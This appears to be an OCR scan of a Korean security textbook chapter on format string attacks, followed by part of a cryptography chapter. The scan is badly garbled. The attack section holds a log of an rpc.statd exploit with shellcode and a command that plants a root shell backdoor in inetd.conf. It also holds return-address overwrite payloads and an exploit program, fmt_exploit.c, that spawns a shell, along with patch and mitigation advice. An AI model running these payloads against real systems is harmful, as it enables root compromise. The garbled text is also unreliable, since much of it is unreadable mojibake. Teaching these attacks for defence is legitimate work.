(3

»  wEbA], 9]F-o|A] remote attack = Fa A ZFH root WIS FET

d

AH8-31o] return address & Hol#9-7] Wil

o] M oM ERS FAL ohIAW T Eato] A

A= [e]
R ES s

of

4%

32,
rr

2]
exploit =7k /IE Yl ol v &7l o] lem, o] exploit

WokS 7§~ /var/log/messages ¥} ol &= tha-}

Aug 31 10:43:21 linuxl8.certcc.or.kr rpc.statd[410]: SM MON

request for

hostname containing

'/': "D"D"E"E"F "F"G"G08049f10 bffff754

000028£8 4d5£f4d53 72204e4f 65757165 66207473 6820726f 6e74736f

20656d61 746e6f63 696e6961 2720676e 203a272f

00000000000000000000000000000000000000000000000000000000000000

00000000000000000000000000000000000000000000000000000000000000

00000000000000000000000000000000000000000000000000000000000000

000000000000000000000000000000000000000000000000LE££££704000000

00000000000000000000000000000000000000000LE££££7050000bE££££7060

00000000000000000000000000000000000000000000000000000000000000

00000000000000000000000000000000000000000000000000000000000000

00000000000000000000000000000000000000000000000000000000000b££

f£707<90><90><90><90><90><90><90><90><90><90><90><90><90><90><

285



YEEO A SHERE

90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><
90><90><90><90><90>K"<89>v<83><8D>" (<83><89>"<83><8D>".<83><83
><B83>#<89>"1<83><B88>F'<88>F*<83><88>F<89>F+,<89><8D>N<8D>V<80>
1<89>@<80>

/bin/sh -c echo 9704 stream tcp nowait root /bin/sh sh -i >>
/etc/inetd.conf;

killall -HUP inetd

LPRng 2| format string B
® ol A|=H

= Caldera eDesktop 2.4

= (Caldera eServer 2.3

= (Caldera OpenLinux Desktop 2.3
= (Caldera OpenLinux eBuilder 3.0
= RedHat Linux 7.0

» Trustix Trustix Secure Linux 1.1

= Trustix Trustix Secure Linux 1.0

7 o4

[
A

* LPRng = WZd lpr ZHE spooler FEE]Z t)F+2] Unix
Al 2Hlof| A= AZEYOZ lpr, lpe, lprm ZE T3, ZTHE
ol A2 ueoldd, = MYy, AEd Bt Vs = Al

Fato] ZHstn Y o4 40] Holdk ZUY £TEg oo
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t}. 239 o] LPRng ~¥H H#-2 format string W12 15}

root W3S & F U= FH Aol ESATH

B

LPRng ol A] use_syslog()gt= &+ A4} 9J2S LPRng 9 -~
Edo® gdate o] 2ERS Y 2EY O ® N syslog() 3

ol BT} o] wf syslog() ol ¥ ~EH oz

2ol "%s%s%s%s%s%s..." I & D 7ol root o] HIS H
AT 4 A

ToolTalk AH|A F| k™

F A2y

HP HP-UX 10.10
HP HP-UX 10.20
HP HP-UX 11.00
HP HP-UX 11.11
IBM AIX 4.3
IBM AIX 5.1

* SGI IRIX 5.2-6.4

Compaq Tru64 DIGITAL UNIX v4.o0f
Compaq Tru64 DIGITAL UNIX v4.0g
Compaq Tru64 DIGITAL UNIX v5.0a
Compaq Tru64 DIGITAL UNIX v5.1

Compaq Tru64 DIGITAL UNIX v5.1a

* Sun Solaris 1.1-1.2

* Sun Solaris 2.0-2.7

Sun Solaris 77

Sun Solaris 8

287



HEHOF AT

staxtz

*Note: 9]¢ gAEE gosirta A 7|= sht e SHF o
Aol A HAES A X = Gtk wEhA 919 HAE T AR ok

ToolTalk dlo]EFHo] 2~ AW (rpe.ttdbserverd)oll 2 32 x}7}
ToolTalk MH]| A5 =5 o2 WEAY, A&gd #4228 29
AZIAY, A &q #eAAcs 858 5 A ot format 2E
% F eFilo] £Agt}. ToolTal g Alo] o] ELS Eal
Mz AgyAelde] 7hed 4 3l
ToolTalk = RPC(Remote Procedure Call)©]™ ToolTalk d]o]E] H]o]
2~ AW (rpe.ttdbserverd)ell ]3] #2| ¥ o] It} rpe.ttdbserverd &=
Oj5-29] Unix O/S oA HEER ALE 7}s stk

ToolTalk &= AF-&#F 2] ¥XW¥ argument & 3|4 4 A=
"syslog()" call = =4 3}=dl, "syslog()" call ol # Fx o] EA]stct,
uebr dAFTAAE HAGH S o8t EUE

W
rr
o 9
el

@ w7o] AyFel Zzade] REEolAol sz e Yol
MQIZbE A @ 5 doke FolA MEemERS Aok
vjgae 2ol 2= Febde Zeadvs) prin AW #

-
£ AR o 9 argument & A A= A= AT o A

SQL Mt Text ZU HHSHZES oty

2 A 2HE

[¢)

Microsoft SQL Server 7.0

Microsoft SQL Server 2000

288



MEEO AR SRR

® A4
* SQLServer 7.0 ¢} 2000 o= A WA|X|E *E|s}+= database
& Adste 5ol SAGThEA HAIAE AAsIA HEo

A AAAE FHSHE ) o Wre v

10.3.Format String Attack oix|

$-2]7}F WA o] &9 "10.3.1 Return Address = zH7]"2 Hojrr] el -
g7t dAEM & HEZzeaRe] 3=2 B Jo] Z Zojth o] :m=

= AA WY eMEES dolubd 2 F AR s nanad 3
16 2seta B 5 QAT S oAl oY Ao melxl 2z
% d o4 gHAE 7t glvh

wH, obe) Mus AT Weld] s 1 H| nEE B 5 QA AN

5o] glvh

[GI & 10.9] vulfmt.c

/*
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exit (0) ;

func ( argv) ;

return 0;

10.3.1. Return Address 37|

Format String Attack ©] FHA] G2 vl2 o] ¥l =g irE Fe F

wolth, ddHom FAq 2ojx= ¥4 A2 24 72 9

FoF 22199 returnaddress & &7 =9 Ao x|nt B4} AT}

WE A"l Au F Bolrl, He o] £ow MY B £ Ut F,
F7 hit&°] P WolA& "o\ o Fold Utk $YE 39

B Favks Zelth 2eu 2RIl Ps] s A, Al ="
)_:,1_

gk Apgtolebil 123k exploit sfube whEs e WY

¢

:
2

oHFE, o714 WS As Al BHe olss LR Si3i7] wel

ol E F7] A FHeF =13l Return Address E =2\l AbE] ol A

rlo

TAS A= Folt) AA FHFZ=Z 13| Return Address & & U

SEE AR Foll As) B7|E A
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o, el a8x] gv} stdets e W] Faa BAje] 171e] $-77}
4 F AE o= A AR gk AS THA s oF dhek w1

o] &4 IRl offset AR Z

£
R
I
P
o
)
[
N
rir
)
03
N
B>
S
o

olZHH, -8l 29 shellcode 7} &=, AdE 7MIFAE ov] g
Qofof st
ok 1R3S 7FA AL, Format String 2 1A 47} 7] wl&olt). &

27} 938l shellcode ¢ AR F429 27} oxbffffrao 2}iL &2k 12
i, FEEIAY S& 25 T3 dAEE FHF Z23 ] return

address 7} oxbffffg8o #] @ o]z} 3}A}.

ol

aHH, 4 o] F FAE T2 formatstring 02 THEY] $J8fA] ofF
cute 3 7lAte] HQ 3tk BE %n U HE BT gbyte ol AFS 3HA H
o] ITH(E.F integer= 4byte).

agud e A 229 vulfmt o] tis] vhe3 22 format
string & TAS & = JA

©.g)7} %n o] 7tE7)E GA(Z, gEoj=g 2 XA oxbffffrao 9 %k
o] YA st A, F 3221223328 7] ¥ F size & printf()e] I}

< %n HEEHES] WA FA] AXAAF Tt

71213t Format String & ©}vl= of53 S Zlojth

"\xEE\XEE\REf\REf\xaO\xE7\xf£\xb£%3221223320d%n"
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3149}, 3001223320 & A AL A7t ol ), $gle] A ~EHL BE
olHA Z F& K] flal vtEoA A= Fokrh 2EiA TRl A
return address ¢ overwrite 7} € 82 ST},

I35}, oxbffffzao ¥ oxbffff7a2 o] 2byte | F+ W] AA 227 WA o]
t} $o] EA% %n U HE B} gbyte 5 22 dlol| Wl %hn vl E| B
+ 2byte & T

"\xEE\XEE\XEE\xEff\xa2 \xf7\xff\xbf"
"\ xEFE\XEE\XEE\xEff\xa0\xf7\xff\xbf"

"$49135d%hn%14241%d%hn

=2

® 9| : AXE ZhApe] A|xEld g RS 1A} ojH HAEL 3}
2%l garbage & M7} A7)= A% Q7] wFo)).

A}, 219 9ol A wHEo]R Format String = 7}A] 3L Stack 2 3HH 3 53
BEE &

10.3.3. Format String Attacking (1)

ol $lolA ¥HEo]% Format String 2 524
o A Fasiak.

o
oL
>
O:O‘:I‘
i,
i)
o
o
N

[oIA 10.9] o Zz}

"\ xEE\XEE\XEE\XEE\XB82\XfO\XEFE\XDLE\XEFE\XEE\XEE\XEE\x80\XEO\XEE\

xbf%
49135d%hn%14241d%hn""'

Oxbfff£f930 do6 86 04 08 30 £9 ff bf 00 01 00 00 ff f£f ff

ff 0000l

Oxbf£f£f£940 82 £9 ff bf ff f£ff ff £ff 80 £9 ff bf 20 20 20

20
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Oxbff££950 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
Oxbff£f£960 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
Oxbf£f££970 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
Oxbfff£980 a0 £7 ££f bf 20 20 20 20 20 20 20 20 20 20 20

20

Oxbf£f£f£990 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
Oxbfff£9a0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
Oxbfff£900 20 20 20 20 20 20 20 20 20 20 20 00 c8 £9 ff

bf

Oxbfff£f9c0 09 87 04 08 14 fa ff bf e8 £9 ff bf b3 0f 03

20 s s 0000000006 a

Oxbfff£9d0 02 00 00 00 14 fa ff bf 20 fa ff bf e4 31 01

40 cooooooo R

Oxbfff£f%0 02 00 00 00 £0 83 04 08 00 00 00 00 11 84 04

O c6co0000000000000

Oxbffff9f0 dc 86 04 08 02 00 00 00 14 fa ff bf 30 83 04

08 oo, 0...

Oxbffffal00 4c 87 04 08 30 a6 00 40 Oc fa ff bf 30 38 01 40
L...0..@....08.@

Oxbffffal0 02 00 00 00 2f fb ff bf 39 fb ff bf 00 00 00

00 cooalcoo@oocooos

Oxbffffa20 5e fb ff bf 68 fb ff bf be fb ff bf dd fc ff bf

Comment : oxbffffg80 2] #to] -2l7} Yot #o= vyt &4
< olglgk Ao g o]Fo] Mo} whok -7t YH o=HAE A A

lehd, g4 JEAL Rolth. 127k Sl AL oxdiffoco o 3 -F-o.

;
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o] FANeRE S/ T4 o|Fo d F Ut

shAIRE, = o AldE 34 UyS ks BAk 9 Aol A=
Arlel A= FAE Frolof &b, 2313 o] AA R+ Hit &o] B3
3] "Wo]X| = Format String = ¥l FAsl|oF stoh= AAZRo] At 4
AUA Asus el 2 Aol duv AARE 18A oA oW,
sAs & 7 gtk

AL exploit -7 -a A o] WrolE o A= A7} glRlol =y ag
A A5 = T4 0|, shellcode & HlO]E ~E" = eggshell o] 9% &

Al

i)
1o,
N
DX

= offset 0.7 WFo] F= ZATIO 2T format string ©]
th. B8 5488 497t ofy by, offset & Ao AREE o] gl HE
o] A5 AA ot & Aojth fFAMA ol T ARE-Set
rmat string = 745 $FMTSTR o] #1x|5HA] & Z o]
ojt}. vt

fo
m, @] 1 BFE ARSEhe Avte g FAo] Jbe & A
o] 2y HAE go|nE HoF LRI buf & F2 F o|F thE

char buf[128];
int a, b;

char *str

"6x96x%x" = g W Al NE WA popping A% F 2o HRE
A &L oF & Flolt},
feature +

T2 A A A [ret] + Padding A} [pad string] ) x4 + Popping T ]
BB [%x%x%x] + =92 Y HAEH [%s%hn%s%hn%s%hn%s%hn]
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char *str;

char buf[128];

AA=E 2Eo] B AR Wopsel HH FaR ddHE 3
2 A= 3 vl E Heol 4719 F47)

aL ojZo] wArd e Ad Ag= A d

i)

overwrite & F42 T4
tl. Z12] a1, shellcode 7} 9= F4E 470 byte & 22} format o 27
AxrE o] 2 -3 "00000"E ] F3Fo] o]Fo] Atk vtz o] AEoC] 4 W
Ax FA2%k0] overwrite ©] Eul, %n THE BT} AAabst ExpE So] H+=
Aotk WA S0t 4719 Fasol wet i a

ox10 ©] Hi1, 29 Z} F4& byte = AF=9] o 328 FAi jow

A A A}, feature = ol o} 2l

(A= 2" 7PYFA x 4] + %n+ [ 0" EAE ] + %n

£7a0 bfff f7al bfff f7a2 bfff f£7a3 bfff
6e25 3030 3030 3030 3030 3030 3030 3030

3030 3030 3030 3030 3030 3030 3030 3030

3030 3030 3030 3030 6e25 3030 3030 3030

3030 2530 306e 3030 3030 3030 3030 3030
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3030 3030 3030 3030 3030 3030 3030 3030

3030 303

0 2530 Oate

BASE ol AFHE DA exploit 220l 232 vl

[oI%] 10.1

/*k

0] fmt_exploit.c

* Foramt string attack general exploit

* usage

*/

#include
#include
#include

#include

#define
#define
#define

#define

fmt exploit -a <return addr> <offset>

fmt exploit -a bffffael 512

fmt exploit -a bffffael

<stdio.h>
<stdlib.h>
<string.h>

<ctype.h>

NOP
BYTEMASK
DEFAULT OFFSET

DEFAULT EGGSIZE

0x90

0x000000FF

2048

/* Respected hacker alephl's shellcode */

char she

llcode[] =
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HEEOoF AL

SHEALR
baddr[i] [1] = argv[2][J+1];
baddr[i][2] = '"\O';
Jj+=2 ;
foo[0] [3-1i] = htod( baddr([i] ):;
foo[l] [3-1i] = htod( baddr[i] )
foo[2] [3-1i] = htod( baddr[i] );
foo[3]1[3-1] = htod( baddr[i] );

eggaddr = esp point() + offset;

printf ("Usiing address: $#x\n", eggaddr);

fmtb[0] = (eggaddr >> 0 ) & BYTEMASK ;

fmtb[1l] = (eggaddr >> 8 ) & BYTEMASK ;

fmtb[2] = (eggaddr >> 16 ) & BYTEMASK ;

fmtb[3] = (eggaddr >> 24 ) & BYTEMASK ;

memset ( bl, "\0x90' , fmtb[1l] - 0x10 );

memset ( b2, '"\0x90' , fmtb[2] - fmtb[1l] );
memset ( b3, "\0x90' , ( fmtb[3] + 256 ) - fmtb[2]
sprintf (

o\°
0]

o\°
o\

(char*) (fmtstr+7),"%$s%$s%$s%$s%%n%s%%n%ss%n

foo[0], foo[l], foo[2], fool[3],

) 2
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bl, b2, b3

"FMTSTR=",7) ;

memcpy ( fmtstr,

putenv (fmtstr) ;
, "EGG=", 4);

memcpy ( egg

putenv (egqg) ;

system (" /bin/bash") ;

ot
'z
=
of
)
o
o
rir
>,
™

228 WKLY F

EEER LR LI

th dump ¥ WEZE & 2

o
)
k)
™
oz
K
it
%)

o
fz
¢
198
>,
=
o

[littleprince@hackerslabl]$ ./lastexploit -a bfffee60

Oxbff£f£670

Usiing address:
./lastvul S$FMTSTR

[littleprince@hackerslab]s$

22000000000000000000000000000000000000000000000000000000000000

00000000000000
000000000000000000000000000000000000
Oxbfffedd0 d6 86 04 08 dO ed ff bf 00 01 00 00 60 ee ff

bf ... ...
OxbfffedeO0 61 ee ff bf 62 ee ff bf 63 ee ff bf 30 30 30 30
a...b...c...0000
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Oxbfffedf0 30 30
0000000000000000
Oxbfffee00 30 30
0000000000000000
OxbfffeelOd 30 30
0000000000000000
Oxbfffee20 30 30
0000000000000000
Oxbfffee30 30 30
0000000000000000
Oxbfffeed40 30 30
0000000000000000
Oxbfffee50 30 30
00000000000.h. ..

Oxbfffee60 10 f6

40 cccococooo0oooooo

Oxbfffee70 02 00

40 cccco0ocooooooo

Oxbfffee80 02 00

08 ccococococoooooooo

Oxbfffee90 dc 86

30

30

30

30

30

30

30

08 ccocoocooooooo 000

Oxbfffeeal 4c 87

L...0..@....08.@

Oxbfffeeb0 02 00

90 ccoccocococoocoooa

00

30

30

30

30

30

30

30

bf

00

00

08

08

00

30

30

30

30

30

30

30

01

b4

£0

02

30

d3

30

30

30

30

30

30

30

00

@@

83

00

a6

ef

30

30

30

30

30

30

30

00

ff

04

00

00

ff

30

30

30

30

30

30

30

bf

bf

08

00

40

bf

30

30

30

30

30

30

30

88

cO

00

b4

ac

dd

30

30

30

30

30

30

30

@@

@@

00

EE

EE

ef

30

30

30

30

30

30

30

ff

ff

00

ff

ff

ff

30

30

30

30

30

30

00

bf

bf

00

bf

bf

bf

30

30

30

30

30

30

68

b3

ed

11

30

30

00

30

30

30

30

30

30

@@

0f

31

84

83

38

00

30

30

30

30

30

30

ff

03

01

04

04

01

00

30

30

30

30

30

30

bf

40
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OxbfffeecO a5 fl ff bf af f1 ff bf 05 £f2 ff bf 24 £f3 ff

10 600000000000 S...

bash$

10.3.4. Format String Attacking (2)
o] de= AR 21S & AHolH, s E & qlojordt 3
= Aok 270] ASth Local B1E o] &3 FAS & wo= AW
4= $FMTSTR & 3} = Welx Al ga)n2 ulado). o3y £72-2 byte

stream ©]t}.

2]a1, A Network Aol A& ofE 2oz FAS =] tds| Ax
skt AvA .

oAl A& oy FROoY AxAE HlEo] B Fx 98 Aot}

® Network Attack Hint.

At server 9] buf ol $-2]9] shellcode & WA AHH Y1, 1 o]F 1
=11

o

O

shellcode & 7}27|A 53] €AY AsA 12tE format string & Th
o7 Ad BHu+= 2ot} o] wjo]= server & #E o=wAE AAEEH]
A A3 2xE BAY, ofyH AA| L HlES debuging sk 419 1L

% gFol 47 Hrk

10.4.Format String Attack CHZ|

Format String Attack & ZH-F A|AHlS H S35t WHog = o

dlo

3 3

Ie) =
huy 31%?01 9}

® BugTraq, CERT, SANS 59] AF|EZHE FHebd H 9% dug &
A3t A
o It Al HAE HLsto] AT A
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il

® ZIE HALTE o]&ste] FAAE AT AF A

® Source Code & 213 4 A+ 79, Source Code HALE T3 7

e =513l go]H P E o] 8&F Fl(ex. FormatGuard
http://www.immunix.org )

® Non-executable Stack Option & ©]-8& 7

Instruction Detection tool & ©]&3& #

ool A= A ES U9l “10.2.5 HilE Format String Attack <]

Aol 2ARAR EARE] e TR S Ay St

N
i

7 2k
10.4.1. 215 Format String 2| F M Z A

2|52 rpc.statd 2| input format string 2| | Z 3|

N
b
)
o
(L
o,
ol
o
o
il
X
e
>,
[
jatii}
o,
Jm
i
ol
dr
B
ol
ol
X
&2
rlr
=
Z
i
N
Ll

# chkconfig --level 0123456 nfs off T+

/etc/rc.d/rc3.d/S60nfs
/etc/rc.d/rcd.d/S60nfs

A sE A4 s 2 uPE ok (2%

A

/etc/rc.d/rc5.d/S60nfs 9 T

g 49

® rpcstatd & AHE A4
NFS & A& AF83lE et rpestatd & AF&381X] & WHE Q). 314

R o] <l NFS7F AdH o= sk &5 4 Sirh

/usr/sbin/rpc.statd & AANAY (or HFHolEE WA A

/etc/rc.d/init.d/nfs oA
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daemon rpc.statd =FALe] #& B9 comment out A7|H "ok, (2]5FH

29)

® 9B} firewall ol A 2] w7l HEH

FHFHS A AASE WAL oA Tk 29-HyY firewall | 4 111/tep

Y E9} rpestatd XE(IHEIE)RE 5o & 7S 2AdstA Hojx 9
E

2o g F4L ZFF-EHu firewall ol A 98 4= ),

-l

® rpc.statd I %] A
rpe.statd & AFE-3H7] 9l8lA = ZF vendor B2 th5-9] URLOIA A&
Hhol Md 2|5l E T},

= Connectiva Linux 5.1 o] WA

ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/

= Debian ¥ 52~

http://www.debian.org/security/2000/20000719a
= RedHat &5 (FU d=2G49 sl¥#HLS 5% RedHat &
ke

http://www.redhat.com/support/errata/RHSA-2000-043-03.html

LPRng 2| format string 1 | Z %
® syslog) $H<=2] argument ol %s S F7}3Ht}.

static void use syslog(int kind, char *msq)

# ifdef HAVE OPENLOG
/* use the openlog facility */

openlog (Name, LOG PID | LOG NOWAIT, SYSLOG FACILITY );
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syslog (kind, "%s", msg);

closelog () ;

# else
(void) syslog(SYSLOG FACILITY | kind, "%s", msg);

# endif

o A AT M ZET; AbSShe 2ES] 5159

o

Ak,

ToolTalk AMH|A F|<okX s|dA

o Axdle wlE WS 48T
=  Sun Microsystems, Inc.

http://sunsolve.sun.com/securitypatch

=  Hewlett Packard, Inc.
HP Security Bulletin #0168 (Document ID HPSBUX0110-168)

http://www.itresourcecenter.hp.com/

= SGI

- @A AHe BAkel EE:

ol
i
tlo
i
=]
i)
2
ol
o
v

o

Rl

- http://www.sgi.com/support/security/

= Compaq Computer Corporation

http://www.support.compag.com/patches/

= IBM Corporation

ftp://aix.software.ibm.com/aix/efixes/security/tooltalk efix.tar.Z

10.4.2. SQL MH{ Text T B{HHZZ Fo4x 2
AlAHo| g HX[E &,

® SQL Server
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= SQL Server 7.0

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=350

66
=  SQL Server 2000

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=350

67

® C Runtime

=  Windows Server 4.0 and Windows 2000

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=335

(0]¢]

=  Windows XP

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=350

23

10.5.&1 A=

o 3IIFIHEAZLEZAE http://www.khdp.org

o AR KE T 2T, http://www.certcc.or.kr/
1=

W A ¥ H 53 http://security.kaist.ac.kr

® @934 =g o}, http://www.superuser.co.kr/
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http://www.microsoft.com/Downloads/Release.asp?ReleaseID=35067
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=35067
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=33500
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=33500
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=35023
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=35023
http://www.khdp.org/
http://www.certcc.or.kr/
http://security.kaist.ac.kr/
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11. Cryptography

11.1.Cryptography 2| 7|2

11.1.1. Cryptography 2| 0|3l

H
AAsE B4 BN o] £ Ex WRHA e nshs
A=

s A AREA L S5 AFE AEAAAE A 347 Fal

Mae7] A, Azel s FielEe 44 F, ohEol A Hue
Agar] $le) AEH T,

Fdo] 7zad no] welAae] AL ou] BxAe s *neES
whgo] ALEd Ao oA itk 1 ¥, s duelEe Be wAs
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4

(i

Tor

__|o__H

—_

ol

KO

DES, RSA

T

-

27t 1

2 Wy o g

o

-

FolaL, @A

S

A==
H

%l

ol

.,

D)= 4

=
1=

E)¥ 523} <]

=3}

Ahgiet, e o

=

=

71(KD)

To

"0

ol

il

aiz

® E(KE,

Sk

=
=]

ae]

o)

7] ?j]':‘_ia

)
=

A H]

st 715 dotol

T

= O
=1

=
ary

1

o
=

ety =

Ads

L

;OE
i)

ze)
il
)
L

ol
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215 (authenticity)

® 7|'UA (secrecy)
® 7AX (integrity)
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o] "Tloveyou"E "knqxgaqw"= B} Aol 7] G5 7|He] st
A7F & 5 Ak A7]eA 9 vET= 27F H 5 vk

Fo 7
|
Symmertic key Asymmertic key
Secret key Public key
|
| | RSA
Stream Block .
Cipher Cipher Diffie-Hellman
k DES
IDEA

O8] 111 4s7|He EF AHA

HE 7] a7 Hel = [28 11a]ol] YERd A3} #o] "Stream Cipher"<}
"Block Cipher"®] F7}4 &/ 7} At} Stream Cipher &= HIEER ¢
= YoJElE N EWY R 4538 7] olal Block Cipher = HEEZ
JH e = doletE A dolo] HIEL(HEF 64 HE)=E HepA 23S
4ol 2 5 3tE St 7] ol t} Stream Cipher 9] ¢ #+= RC4, SEAL &
o] 9lal Block Cipher ¢] <] 2+ DES, IDEA, RC2, FEAL 5°] 3l

ofo whste] F7)7] FE VIS WAAE ¢Este wel Rt uf A}
ot 717 AR g2 old ME bgE F Y 7] Foll stuE B
71ekaL shar, YA stuE N7k gt o] - FR[9 7] Sl A
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Ake] B3 = (Complexity) 7}
5] wiel grEstel Hwsh el

¥ QP ol S840l gloiA g Ebeolnh. ol Fol HET UAY

e 307 GEslEe AgEE £ A
=
AL

217 (Digital Signature) == 7% <l

of\

(Authentication) A]2=El2] &

oA A7) A5 WS S A G5k Peltt,

11.1.3. 7|=X¢2 =3 HAHUS

HI & 3
K5
"J79ahebe0., "

1o
=
ot
=
Id
AC)
=2
s
fol
o)
i,
i)
=,
X
rir
e
[-4!1
a2
lo
o
Q
Q
s
=
(¢}
=+
[¢]
)
L)
K
=5
~N

@k ol 2 Aelshu e ol EE 4 g Aol

CKs = EKs (M)

314



MEEO A SRR

PPEA R e stE vAlAE H3sksto] Ao WAAE

i
ne
rlr
N
rlo
v}

11.1.4. Cryptography < &+

H|2ZZ|(Private Key) 2/57|H

Tot=d At

gy shue] vlE gl digk o=t UE A7) wl o] 1 S84

oA Aleko] wol] mETH [1¥ 11.3]2 HIE 7] 47l 7242 wat
=S Asla . A AF3 vrel Zo] HE7] s HAAE A

AR v S wAX ] F/FAA A oA A £ = g

(secure channel)©] 2 & 3}t}

Oll

29 11-3 oA EAE "Hackers"= A E3]= 424 7HCryptanalyst) S
oju| gttt A7k dEstE wAA L Foltty s FAA A &
o3te vAlAE o] A (wire tapping) ©l S H235k8H] A7 T1EE &
o=t FHgt
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Hackers

I

M —= Engryption |[——s=| Decryption |—=

H

Seeare Channel |- -

fey
Generation

O3 11-3 H|Y7| &35 7|H

® DES (Data Encryption Standard)

= HEY] Gzl 7 dlEA <l o] ¥ DES ©]th DES &
1977 W Pl=Ad ol olsiA 54
ol DES ol Al HWAlA o] 9= 64 HIEC]IL HEY]E 64
H|ESH o] 7|oA 7+ vlo]Ex 1 H]EQ] sj2lE] HES zhet
= webA Qs stel] ALEEHE AA HE 7]
+ UTHDES o &ag]Fe HlaA sttt it e] dAke
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st Fch 18u 24 DES 9 S8 gl & o Hebd

%E gol7] aiA 270 T 3708 B ALESH tasi
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DES oA =gk njd7]e] doje] wiyfel] =% ¢4k DES ol A
= W
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712] 3l Leonard Adleman o] 2= Al W& FaabEdd o) At
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ALY HE5 flEstHAME A8e FaESHA & xprime & 37 50
© o= BRlol] o3 M xE WAsHy] $3 Aelty webA o]y

AL WESE AATFT EAT A5, $UE WA M o] A

BIAIXI 2 ol #gte &&

HEX RPN

A B

M:h(M) M?:h(M*)

a8 11-7 A E olEst 4

aF -7 ollX ek ol A= Bl HAIA M3 ol tigt sl %t h(M)
S #ol AES 8, B7 e M3 h(M)ollA h(M)el g Altsho]
h(M)Z} Hlw&le] e WA= M'o] Do M Zex thExE g9

AA7EA A F7e iAol AGEHA HEA ] Ao 2= MDs,

SHA-1, RIPEMD-160 5°] ¢it}l. o]5 5, MD5 ¢ A%+ sll4]zte] 128 H]

334



Egte @i i ol strong collision-free ] A2 S WA Eoh= Ao

2 <e#A 9t} 18y SHA-1, RIPEMD-160 ¢ 7Z-$-+ 160 H| E &3] 7k

S 7HAH, ol59] kAol THE AL ofyA| vk, oA 71A] MDs ¢ 2

S FAHS dAEA g )

a8y dme A A e T EA A JHssithe 548 2] dE
of AAAQ WAIA 9] F A (integrity)®] &35 ¢V A= AF

(authenticity) 7' s& Zt= o ot AF o] AMRH= 4571 Bol
Utk = ellqlek A daelEe] Ao, ATt viET] s
daejFel AgE Abgol vz ZAoln il g AAI A L
olelgt SAE Ad F A=F 7% Wil e, ol F V1Y a4l
(keying hash function)©]2}31 st} t)3 A<l & 2= HMAC 2] o] Qlth
HMAC 375 o|&% 45, 71& ol AbERbo] sfi3ke] A 2 AF

o) 7bsdtuz A avE 9L & Ak

o

olAl= FATG] o= SHA-19 TAYHS AR, o5 7Rie R
3ol HMAC "2]& ©]-83}9] keying hash function &= $}

ox
QL
rir
=
T
o

oo} 1 A},

Secure Hash Algorithm(SHA)> V=9 7R 7|sd Dol A5
of Jao o) vhEolxom 1993 el FIPS o o3l e s+ §hrol
T} SHA = 1995 el °F7te] 45 A SHA-1°0]eh= o|Fo & Uy
Atk o] A= MD4 et S5 E 7R R dtof dAEAh
SHA-1 2> H o] 2764 HES] ZoJo] 1S Wkl 160 M| E Q] a4 ¢t= A

I SHA-1 DES 7} 16 2F
$EB yste] dERS WY AAY, 44EES FAFOZA

AwtS e Witk SHA-1 2 te3 22 dA= A9
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Aol MD WH e vzeg zrlssE. of W 160 vE0]H,

2 25 slAde] A7 ghol A | &2 A e+l 2A
Al A gholth, L tha EAIIA 512 HIE @92 HAIXE Sl A]
%7]5}3 MD B # 9t oln] Ao gl o8 At sk u
7160 HIES] WA A] o] A = E (341 gh)o] A8t

SHA-1 ¥} MD5 & Y] 23] XA, birthday ¥4 W74 333t brute-force
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el gk ek AdS vl s, MDs K.t} SHA-1 9] &3] gko] 32 H|E

] Atk MD5 9] 49+ 128 H|E o] X4k SHA-1 < 160 H|E Q] | H 4t
sttt wrelbs MDs o 9= 27128 79 WA A&, SHA-1 S 27160
o] WAXE Zhz} tidsiA dste aldldte]l e dHS A HER
SHA-1°] MD5 °l Hlsf | <¢Hdsittar & 4= St

&4 4 (cryptanalysis)ol a4 = MDs &= Seddoz ool 9)
tar A AA N SHA-1 2 obA 7k = 29 ofAl 2 A A skt
Ay &k WA= 7 dags B 2732 o #3 REe ANS 3k
SHA-1 2 MDs5 ol B3] ALE GAZF B B7] wjitel 28 e Al=H
oA Bl gt SHA-1°] MDs ol Hla] Ag £x= =gl 7=9 o

£& HMAC ol diate] 2
Authentication Code o] ¢FAl= WA X o] FAA S FWel= FA=o|t). %
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HeY, A= 6.5% o]&ol7] wWol ofF L i wjrl oyt WAAIE
Bzl dvk o] wf o]FAl Bl A X = ©A] At s 3le 7

el ziths AMdS gE)a Ag @ Algbs 33 mAAE BdiA "
o] w], A= A7} ZetolAEA B FIAA(5.5%)F Sl 7}
2ol A7F 48dd Bl wAX(6.5%)F EHUlAl ) o2 A s}
=, WA= A9l Aol Eoj7t l7] wiitel Q1] Hrh o]dl 7

T Stk oleh 2 WL A tiF-E ARSEIL Sl AlAF A Ao

SAA FAL ZEREZ T 35S st Fadte FAW Yo |th
o5 FT AA|E] LolR W, A9 B7F TAIS dtha J1geta TRES
S Tt Z2EF A[A G4 BE C A

FE e go]HE o]&3l ColA &S st 18 Hd

=
A4S dku AZEAR, AARe Bk 85 Ao

=
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Lol A FoIA e AR F 93E o] TAshE el FAA
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a9 11-8 S KW, A= A9 F71(23, 69,14 ..)5 7FEA A A

uich

+7M71(99, 98,97 ..)% wA A Hrh. 22 B+ A SA7(EE,B

ORS A FANE AZEI YHE A Al B HAA S

rr

FEsasl 53, @A oA BE el £ B o) WAAR
3, AL A A Y FAIE ARgel GhESE T AcA B
ATHTY 119 F2). T3 FASA AAE Al AL BelA A
=

B = 47} d=dl, °ol+= B7F A9 F7IE 7] ujio|t)

2369 14 9998 97 |
2879 96 98
34 94

O )

a8 11-8 iHE AQ SHFIE ARel SIH7|=2 mx|

B A4 WS A8t Ad F71718 A% 5 AW, A A

A}

& e A7 SEEcl Brie AL AZE, o] oA oy
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- B A7) FAVE AeshE AYS LA BT A A WA
A% rEskstel 1wyl
